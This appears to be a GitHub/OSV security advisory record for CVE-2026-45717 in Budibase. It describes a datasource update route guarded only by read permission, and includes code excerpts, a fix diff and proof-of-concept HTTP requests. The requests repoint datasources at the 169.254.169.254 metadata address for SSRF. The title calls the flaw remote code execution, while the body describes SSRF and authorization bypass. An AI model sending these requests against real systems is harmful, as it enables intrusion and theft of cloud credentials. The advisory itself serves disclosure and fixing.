CVE-2026-45717: Budibase Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-44m2-crh7-f4q2",
  "modified" : "2026-06-08T23:51:41Z",
  "published" : "2026-05-15T17:59:47Z",
  "aliases" : [ "CVE-2026-45717" ],
  "summary" : "Budibase: `PUT /api/datasources/:datasourceId` is protected only by `TABLE/READ` permission instead of builder access, allowing any authenticated app user to overwrite datasource connection parameters including host, port, and URL",
  "details" : "## Summary\n\nBudibase exposes a REST API for datasource management. The route `PUT /api/datasources/:datasourceId` is registered in the `authorizedRoutes` group with `TABLE/READ` permission. This is the same authorization level as the read endpoint (`GET /api/datasources/:datasourceId`). Every authenticated Budibase app user with the `BASIC` built-in role or higher carries `TABLE/WRITE` (and therefore `TABLE/READ`) permissions, and the datasource update controller performs no additional builder check.\n\nAs a result, any authenticated non-builder app user can submit a `PUT` request to rewrite a datasource's `config` object — including the connection `host`, `port`, database credentials, or the base `url` of a REST datasource. Because no network-level SSRF protection is applied to SQL driver connections, redirecting a PostgreSQL/MySQL/MongoDB datasource to an internal IP address succeeds and the attacker can probe or interact with internal services on arbitrary ports.\n\n## Code evidence\n\n### Route registration — wrong authorization group\n\n```\npackages/server/src/api/routes/datasource.ts, line 35-37\n```\n\n```typescript\nauthorizedRoutes\n  .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n  .put(\"/api/datasources/:datasourceId\", datasourceController.update)   // <-- should be builderRoutes\n```\n\nAll destructive (create/delete/verify) operations are gated behind `builderRoutes`:\n\n```typescript\nbuilderRoutes\n  .get(\"/api/datasources\", datasourceController.fetch)\n  .post(\"/api/datasources/verify\", datasourceController.verify)\n  .post(\"/api/datasources\", datasourceValidator(), datasourceController.save)\n  .delete(\"/api/datasources/:datasourceId/:revId\", datasourceController.destroy)\n```\n\nThe `update` route shares the same authorization group as the read route, not the builder group.\n\n### Authorization middleware allows BASIC-role users\n\n```\npackages/server/src/middleware/authorized.ts, lines 46-50\npackages/backend-core/src/security/permissions.ts, lines 82-90\npackages/backend-core/src/security/roles.ts, lines 162-169\n```\n\n`authorizedRoutes` is defined with `authorized(PermissionType.TABLE, PermissionLevel.READ)`.\n\nWhen `doesHaveBasePermission(TABLE, READ, rolesHierarchy)` is evaluated for a BASIC-role user:\n\n- `BASIC` role → `BuiltinPermissionID.WRITE`\n- `WRITE` permission includes `PermissionImpl(PermissionType.TABLE, PermissionLevel.WRITE)`\n- `getAllowedLevels(WRITE)` returns `[WRITE, READ]`\n- Therefore `TABLE/READ` is satisfied → user is authorized\n\nBASIC is the lowest non-public authenticated built-in role. Any end-user account added to a Budibase app will be assigned at minimum the BASIC role.\n\n### Controller performs no additional builder check\n\n```\npackages/server/src/api/controllers/datasource.ts, lines 207-255\n```\n\n```typescript\nexport async function update(ctx) {\n  const db = context.getWorkspaceDB()\n  const datasourceId = ctx.params.datasourceId\n  const baseDatasource = await sdk.datasources.get(datasourceId)  // no builder guard\n  await invalidateVariables(baseDatasource, ctx.request.body)\n\n  const dataSourceBody: Datasource = isBudibaseSource\n    ? { name: ..., type: ..., source: SourceName.BUDIBASE }\n    : ctx.request.body                                              // attacker-controlled config\n\n  let datasource: Datasource = {\n    ...baseDatasource,\n    ...sdk.datasources.mergeConfigs(dataSourceBody, baseDatasource),  // merges attacker config\n  }\n\n  const response = await db.put(sdk.tables.populateExternalTableSchemas(datasource))  // persisted\n  ...\n}\n```\n\n### mergeConfigs does not protect non-password connection fields\n\n```\npackages/server/src/sdk/workspace/datasources/datasources.ts, lines 278-316\n```\n\n`mergeConfigs` only replaces `PASSWORD_REPLACEMENT` sentinel values back to the stored secret. Fields like `host`, `port`, `database`, `url`, `ssl` are taken from the update payload without restriction:\n\n```typescript\n// update back to actual passwords for everything else\nfor (let [key, value] of Object.entries(update.config)) {\n  if (value !== PASSWORD_REPLACEMENT) {\n    continue          // non-password fields pass through unchanged\n  }\n  ...\n}\n```\n\n## Attack scenarios\n\n### Scenario 1: SSRF via SQL driver connection redirection\n\n1. Attacker is a BASIC-role user of a Budibase app that has a PostgreSQL (or MySQL/MongoDB) datasource.\n2. Attacker sends:\n   ```http\n   PUT /api/datasources/<datasource_id> HTTP/1.1\n   Host: target\n   Authorization: Bearer <app-user-token>\n   Content-Type: application/json\n\n   {\n     \"config\": {\n       \"host\": \"169.254.169.254\",\n       \"port\": 5432,\n       \"database\": \"postgres\",\n       \"user\": \"postgres\",\n       \"password\": \"PASSWORD_REPLACEMENT\"\n     }\n   }\n   ```\n3. Datasource config is persisted with `host: 169.254.169.254`.\n4. Any subsequent query execution against this datasource (`POST /api/queries/execute`) causes Budibase's PostgreSQL driver to open a TCP connection to `169.254.169.254:5432` on the internal network.\n5. Unlike REST connector SSRF (which has an IP deny list), SQL driver connections are made at the OS network level without HTTP-layer filtering, bypassing the existing SSRF mitigation introduced for REST connectors.\n\n### Scenario 2: SSRF via REST datasource URL change\n\n1. Same setup with a REST datasource.\n2. Attacker sends:\n   ```http\n   PUT /api/datasources/<datasource_id> HTTP/1.1\n   ...\n   {\n     \"config\": {\n       \"url\": \"http://169.254.169.254/latest/meta-data/\"\n     }\n   }\n   ```\n3. If the `IMPORT_IP_DENY_LIST` equivalent for Budibase's REST connector is not configured, the fetch proceeds and the response is visible in query results.\n4. Even with IP restrictions on the REST connector, the attacker can point the URL to any public-facing internal service (e.g., a staging server, internal API).\n\n### Scenario 3: Datasource disruption / DoS\n\nAn attacker with BASIC permissions can overwrite the datasource config with garbage values, breaking all application queries that depend on that datasource for all users of the app.\n\n## Minimal PoC shape\n\n```http\nPUT /api/datasources/<target_datasource_id> HTTP/1.1\nHost: <budibase-host>\nAuthorization: Bearer <basic-user-access-token>\nContent-Type: application/json\n\n{\n  \"name\": \"Modified\",\n  \"source\": \"POSTGRES\",\n  \"type\": \"datasource\",\n  \"config\": {\n    \"host\": \"169.254.169.254\",\n    \"port\": 5432,\n    \"database\": \"postgres\",\n    \"user\": \"postgres\",\n    \"password\": \"PASSWORD_REPLACEMENT\",\n    \"ssl\": false\n  }\n}\n```\n\nExpected secure behavior:\n- Return `403 Forbidden` — only builder/admin users should be allowed to update datasource configurations.\n\nObserved source behavior:\n- Config is persisted to CouchDB and all future queries against the datasource use the attacker-supplied connection parameters.\n\n## Impact\n\n| Dimension | Assessment |\n|---|---|\n| Privileges required | Authenticated BASIC-role app user (lowest non-public role) |\n| User interaction | None |\n| Confidentiality | High — SSRF to cloud metadata or internal services |\n| Integrity | High — overwrites datasource used by all app users |\n| Availability | High — can break all queries by injecting invalid config |\n\nInitial severity estimate: **High (CVSS ~8.1)**\n\n## Why this is distinct from known CVEs\n\n| CVE / GHSA | Root cause | Different because |\n|---|---|---|\n| CVE-2026-31818 (SSRF in REST connector) | `IMPORT_IP_DENY_LIST` not set by default | That fixed HTTP-level filter; SQL driver connections bypass HTTP-layer protection entirely |\n| GHSA-2g39-332f-68p9 (RBAC privilege escalation) | Creator role could create Admin roles | Different mechanism — role creation, not route auth bypass |\n| GHSA-gw94-hprh-4wj8 (Universal auth bypass) | `?/webhooks/trigger` param bypassed auth | Completely different attack primitive |\n| GHSA-726g-59wr-cj4c (PostgreSQL dump command injection) | Unsanitized connection params in backup path | Different vector — this is write access to live connection config |\n\nThe root cause here is a **route-level authorization misconfiguration**: `PUT /api/datasources/:id` is registered in the wrong endpoint group (`authorizedRoutes` vs `builderRoutes`).\n\n## Fix direction\n\nMove the `PUT /api/datasources/:datasourceId` route from `authorizedRoutes` to `builderRoutes`:\n\n```diff\n- authorizedRoutes\n-   .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n-   .put(\"/api/datasources/:datasourceId\", datasourceController.update)\n\n+ authorizedRoutes\n+   .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n\n+ builderRoutes\n+   .put(\"/api/datasources/:datasourceId\", datasourceController.update)\n```\n\n## Submission note\n\nCurrent state: source-confirmed candidate.\nRuntime reproduction (HTTP request against live Budibase instance) has not been executed in this session.\nBudibase has an active GHSA process — security reports via GitHub Security Advisories should receive triage within days based on historical pattern.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.38.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-44m2-crh7-f4q2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45717"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/3.38.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-15T17:59:47Z",
    "nvd_published_at" : "2026-05-27T18:16:25Z"
  }
}